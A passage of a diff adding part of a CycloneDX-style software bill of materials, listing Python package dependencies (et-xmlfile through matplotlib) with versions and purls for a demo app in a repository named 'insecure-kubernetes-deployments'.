+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "et-xmlfile",
+      "version": "1.1.0",
+      "purl": "pkg:pypi/et-xmlfile@1.1.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/et-xmlfile@1.1.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "executing",
+      "version": "latest",
+      "purl": "pkg:pypi/executing@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/executing@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "fastjsonschema",
+      "version": "latest",
+      "purl": "pkg:pypi/fastjsonschema@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/fastjsonschema@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "filelock",
+      "version": "latest",
+      "purl": "pkg:pypi/filelock@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/filelock@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "flake8",
+      "version": "latest",
+      "purl": "pkg:pypi/flake8@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/flake8@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "flask",
+      "version": "3.0.2",
+      "purl": "pkg:pypi/flask@3.0.2",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/flask@3.0.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "fonttools",
+      "version": "4.25.0",
+      "purl": "pkg:pypi/fonttools@4.25.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/fonttools@4.25.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "fsspec",
+      "version": "latest",
+      "purl": "pkg:pypi/fsspec@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/fsspec@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "future",
+      "version": "latest",
+      "purl": "pkg:pypi/future@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/future@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "gensim",
+      "version": "latest",
+      "purl": "pkg:pypi/gensim@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/gensim@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "glob2",
+      "version": "latest",
+      "purl": "pkg:pypi/glob2@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/glob2@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "gmpy2",
+      "version": "latest",
+      "purl": "pkg:pypi/gmpy2@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/gmpy2@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "h5py",
+      "version": "latest",
+      "purl": "pkg:pypi/h5py@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/h5py@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "holoviews",
+      "version": "latest",
+      "purl": "pkg:pypi/holoviews@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/holoviews@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "huggingface-hub",
+      "version": "latest",
+      "purl": "pkg:pypi/huggingface-hub@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/huggingface-hub@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "hvplot",
+      "version": "latest",
+      "purl": "pkg:pypi/hvplot@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/hvplot@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "imagecodecs",
+      "version": "latest",
+      "purl": "pkg:pypi/imagecodecs@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/imagecodecs@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "imageio",
+      "version": "latest",
+      "purl": "pkg:pypi/imageio@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/imageio@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "imbalanced-learn",
+      "version": "latest",
+      "purl": "pkg:pypi/imbalanced-learn@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/imbalanced-learn@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "importlib-metadata",
+      "version": "latest",
+      "purl": "pkg:pypi/importlib-metadata@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/importlib-metadata@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "inflection",
+      "version": "0.5.1",
+      "purl": "pkg:pypi/inflection@0.5.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/inflection@0.5.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "iniconfig",
+      "version": "latest",
+      "purl": "pkg:pypi/iniconfig@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/iniconfig@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "intervaltree",
+      "version": "latest",
+      "purl": "pkg:pypi/intervaltree@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/intervaltree@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "ipykernel",
+      "version": "latest",
+      "purl": "pkg:pypi/ipykernel@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/ipykernel@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "ipython",
+      "version": "latest",
+      "purl": "pkg:pypi/ipython@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/ipython@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "ipython-genutils",
+      "version": "latest",
+      "purl": "pkg:pypi/ipython-genutils@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/ipython-genutils@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "ipywidgets",
+      "version": "latest",
+      "purl": "pkg:pypi/ipywidgets@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/ipywidgets@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "isort",
+      "version": "latest",
+      "purl": "pkg:pypi/isort@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/isort@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "itsdangerous",
+      "version": "2.2.0",
+      "purl": "pkg:pypi/itsdangerous@2.2.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/itsdangerous@2.2.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jaraco.classes",
+      "version": "latest",
+      "purl": "pkg:pypi/jaraco.classes@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jaraco.classes@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jedi",
+      "version": "latest",
+      "purl": "pkg:pypi/jedi@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jedi@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jellyfish",
+      "version": "latest",
+      "purl": "pkg:pypi/jellyfish@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jellyfish@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jinja2-time",
+      "version": "latest",
+      "purl": "pkg:pypi/jinja2-time@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jinja2-time@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jmespath",
+      "version": "latest",
+      "purl": "pkg:pypi/jmespath@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jmespath@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "joblib",
+      "version": "latest",
+      "purl": "pkg:pypi/joblib@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/joblib@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "json5",
+      "version": "latest",
+      "purl": "pkg:pypi/json5@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/json5@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jsonpatch",
+      "version": "latest",
+      "purl": "pkg:pypi/jsonpatch@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jsonpatch@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jsonschema",
+      "version": "latest",
+      "purl": "pkg:pypi/jsonschema@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jsonschema@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyter",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyter@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyter@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyter-client",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyter-client@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyter-client@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyter-console",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyter-console@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyter-console@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyter-core",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyter-core@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyter-core@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyter-events",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyter-events@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyter-events@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyter-server",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyter-server@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyter-server@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyter-server-fileid",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyter-server-fileid@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyter-server-fileid@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyter-server-ydoc",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyter-server-ydoc@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyter-server-ydoc@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyter-ydoc",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyter-ydoc@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyter-ydoc@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyterlab",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyterlab@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyterlab@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyterlab-pygments",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyterlab-pygments@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyterlab-pygments@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyterlab-server",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyterlab-server@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyterlab-server@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "jupyterlab-widgets",
+      "version": "latest",
+      "purl": "pkg:pypi/jupyterlab-widgets@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyterlab-widgets@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "kaleido",
+      "version": "latest",
+      "purl": "pkg:pypi/kaleido@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/kaleido@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "kiwisolver",
+      "version": "latest",
+      "purl": "pkg:pypi/kiwisolver@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/kiwisolver@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "lazy-loader",
+      "version": "latest",
+      "purl": "pkg:pypi/lazy-loader@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/lazy-loader@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "lazy-object-proxy",
+      "version": "latest",
+      "purl": "pkg:pypi/lazy-object-proxy@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/lazy-object-proxy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "libarchive-c",
+      "version": "latest",
+      "purl": "pkg:pypi/libarchive-c@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/libarchive-c@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "libmambapy",
+      "version": "latest",
+      "purl": "pkg:pypi/libmambapy@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/libmambapy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "linkify-it-py",
+      "version": "latest",
+      "purl": "pkg:pypi/linkify-it-py@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/linkify-it-py@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "llvmlite",
+      "version": "latest",
+      "purl": "pkg:pypi/llvmlite@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/llvmlite@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "lmdb",
+      "version": "latest",
+      "purl": "pkg:pypi/lmdb@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/lmdb@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "locket",
+      "version": "latest",
+      "purl": "pkg:pypi/locket@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/locket@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "lz4",
+      "version": "latest",
+      "purl": "pkg:pypi/lz4@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/lz4@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "markdown-it-py",
+      "version": "latest",
+      "purl": "pkg:pypi/markdown-it-py@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/markdown-it-py@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "matplotlib",
+      "version": "latest",
